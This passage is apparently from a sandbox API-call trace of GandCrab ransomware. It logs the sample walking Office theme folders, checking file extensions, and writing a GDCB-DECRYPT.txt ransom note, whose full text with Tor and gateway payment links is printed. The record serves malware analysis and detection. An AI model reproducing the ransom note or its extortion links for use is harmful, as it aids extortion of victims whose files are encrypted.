hFindFile=0x5b8cb0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0054.484] FindClose (in: hFindFile=0x5b8cb0 | out: hFindFile=0x5b8cb0) returned 1 [0054.485] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.485] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\\\GDCB-DECRYPT.txt") returned 114 [0054.485] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0054.485] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.485] WriteFile (in: hFile=0x508, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e354, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e354*=0xad6, lpOverlapped=0x0) returned 1 [0054.485] CloseHandle (hObject=0x508) returned 1 [0054.486] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.486] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\") returned 97 [0054.486] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\*" [0054.486] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x5b8a30 [0054.486] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.486] FindNextFileW (in: hFindFile=0x5b8a30, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0054.486] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.486] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.486] FindNextFileW (in: hFindFile=0x5b8a30, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0054.486] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0054.486] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0054.486] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0054.486] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0054.486] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.486] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.486] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.486] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.486] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.486] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.486] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned 102 [0054.486] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\*" [0054.486] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\*", lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0x5b8a70 [0054.487] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.487] FindNextFileW (in: hFindFile=0x5b8a70, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.488] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.488] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.488] FindNextFileW (in: hFindFile=0x5b8a70, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.488] lstrcmpW (lpString1="TM03090430[[fn=Banded]].thmx", lpString2=".") returned 1 [0054.488] lstrcmpW (lpString1="TM03090430[[fn=Banded]].thmx", lpString2="..") returned 1 [0054.488] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03090430[[fn=Banded]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx" [0054.488] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx") returned 130 [0054.488] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0054.488] FindNextFileW (in: hFindFile=0x5b8a70, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.488] lstrcmpW (lpString1="TM03090434[[fn=Wood Type]].thmx", lpString2=".") returned 1 [0054.488] lstrcmpW (lpString1="TM03090434[[fn=Wood Type]].thmx", lpString2="..") returned 1 [0054.488] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03090434[[fn=Wood Type]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx" [0054.488] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx") returned 133 [0054.488] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0054.488] FindNextFileW (in: hFindFile=0x5b8a70, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.488] lstrcmpW (lpString1="TM03457444[[fn=Basis]].thmx", lpString2=".") returned 1 [0054.488] lstrcmpW (lpString1="TM03457444[[fn=Basis]].thmx", lpString2="..") returned 1 [0054.488] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457444[[fn=Basis]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx" [0054.488] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx") returned 129 [0054.488] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0054.488] FindNextFileW (in: hFindFile=0x5b8a70, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.488] lstrcmpW (lpString1="TM03457464[[fn=Dividend]].thmx", lpString2=".") returned 1 [0054.488] lstrcmpW (lpString1="TM03457464[[fn=Dividend]].thmx", lpString2="..") returned 1 [0054.488] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457464[[fn=Dividend]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx" [0054.488] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx") returned 132 [0054.488] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0054.488] FindNextFileW (in: hFindFile=0x5b8a70, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.488] lstrcmpW (lpString1="TM03457475[[fn=Frame]].thmx", lpString2=".") returned 1 [0054.488] lstrcmpW (lpString1="TM03457475[[fn=Frame]].thmx", lpString2="..") returned 1 [0054.488] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457475[[fn=Frame]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx" [0054.488] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx") returned 129 [0054.488] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0054.488] FindNextFileW (in: hFindFile=0x5b8a70, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.488] lstrcmpW (lpString1="TM03457485[[fn=Mesh]].thmx", lpString2=".") returned 1 [0054.488] lstrcmpW (lpString1="TM03457485[[fn=Mesh]].thmx", lpString2="..") returned 1 [0054.488] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457485[[fn=Mesh]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx" [0054.488] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx") returned 128 [0054.488] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0054.488] FindNextFileW (in: hFindFile=0x5b8a70, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.488] lstrcmpW (lpString1="TM03457491[[fn=Metropolitan]].thmx", lpString2=".") returned 1 [0054.488] lstrcmpW (lpString1="TM03457491[[fn=Metropolitan]].thmx", lpString2="..") returned 1 [0054.488] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457491[[fn=Metropolitan]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx" [0054.488] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx") returned 136 [0054.488] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0054.489] FindNextFileW (in: hFindFile=0x5b8a70, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.489] lstrcmpW (lpString1="TM03457496[[fn=Parallax]].thmx", lpString2=".") returned 1 [0054.489] lstrcmpW (lpString1="TM03457496[[fn=Parallax]].thmx", lpString2="..") returned 1 [0054.489] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457496[[fn=Parallax]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx" [0054.489] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx") returned 132 [0054.489] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0054.489] FindNextFileW (in: hFindFile=0x5b8a70, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.489] lstrcmpW (lpString1="TM03457503[[fn=Quotable]].thmx", lpString2=".") returned 1 [0054.489] lstrcmpW (lpString1="TM03457503[[fn=Quotable]].thmx", lpString2="..") returned 1 [0054.489] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457503[[fn=Quotable]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx" [0054.489] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx") returned 132 [0054.489] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0054.489] FindNextFileW (in: hFindFile=0x5b8a70, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.489] lstrcmpW (lpString1="TM03457510[[fn=Savon]].thmx", lpString2=".") returned 1 [0054.489] lstrcmpW (lpString1="TM03457510[[fn=Savon]].thmx", lpString2="..") returned 1 [0054.489] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457510[[fn=Savon]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx" [0054.489] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx") returned 129 [0054.489] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0054.489] FindNextFileW (in: hFindFile=0x5b8a70, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.489] lstrcmpW (lpString1="TM03457515[[fn=View]].thmx", lpString2=".") returned 1 [0054.489] lstrcmpW (lpString1="TM03457515[[fn=View]].thmx", lpString2="..") returned 1 [0054.489] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457515[[fn=View]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx" [0054.489] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx") returned 128 [0054.489] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0054.489] FindNextFileW (in: hFindFile=0x5b8a70, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.489] lstrcmpW (lpString1="TM04033917[[fn=Berlin]].thmx", lpString2=".") returned 1 [0054.489] lstrcmpW (lpString1="TM04033917[[fn=Berlin]].thmx", lpString2="..") returned 1 [0054.489] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033917[[fn=Berlin]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx" [0054.489] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx") returned 130 [0054.489] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0054.489] FindNextFileW (in: hFindFile=0x5b8a70, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.489] lstrcmpW (lpString1="TM04033919[[fn=Circuit]].thmx", lpString2=".") returned 1 [0054.489] lstrcmpW (lpString1="TM04033919[[fn=Circuit]].thmx", lpString2="..") returned 1 [0054.489] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033919[[fn=Circuit]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx" [0054.489] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx") returned 131 [0054.489] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0054.489] FindNextFileW (in: hFindFile=0x5b8a70, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.489] lstrcmpW (lpString1="TM04033921[[fn=Damask]].thmx", lpString2=".") returned 1 [0054.489] lstrcmpW (lpString1="TM04033921[[fn=Damask]].thmx", lpString2="..") returned 1 [0054.489] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033921[[fn=Damask]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx" [0054.489] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx") returned 130 [0054.489] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0054.489] FindNextFileW (in: hFindFile=0x5b8a70, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.489] lstrcmpW (lpString1="TM04033925[[fn=Droplet]].thmx", lpString2=".") returned 1 [0054.489] lstrcmpW (lpString1="TM04033925[[fn=Droplet]].thmx", lpString2="..") returned 1 [0054.489] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033925[[fn=Droplet]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx" [0054.489] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx") returned 131 [0054.489] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0054.489] FindNextFileW (in: hFindFile=0x5b8a70, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.489] lstrcmpW (lpString1="TM04033927[[fn=Main Event]].thmx", lpString2=".") returned 1 [0054.489] lstrcmpW (lpString1="TM04033927[[fn=Main Event]].thmx", lpString2="..") returned 1 [0054.489] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033927[[fn=Main Event]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx" [0054.489] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx") returned 134 [0054.489] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0054.489] FindNextFileW (in: hFindFile=0x5b8a70, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.489] lstrcmpW (lpString1="TM04033929[[fn=Slate]].thmx", lpString2=".") returned 1 [0054.489] lstrcmpW (lpString1="TM04033929[[fn=Slate]].thmx", lpString2="..") returned 1 [0054.489] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033929[[fn=Slate]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx" [0054.489] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx") returned 129 [0054.489] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0054.490] FindNextFileW (in: hFindFile=0x5b8a70, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.490] lstrcmpW (lpString1="TM04033937[[fn=Vapor Trail]].thmx", lpString2=".") returned 1 [0054.490] lstrcmpW (lpString1="TM04033937[[fn=Vapor Trail]].thmx", lpString2="..") returned 1 [0054.490] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033937[[fn=Vapor Trail]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx") 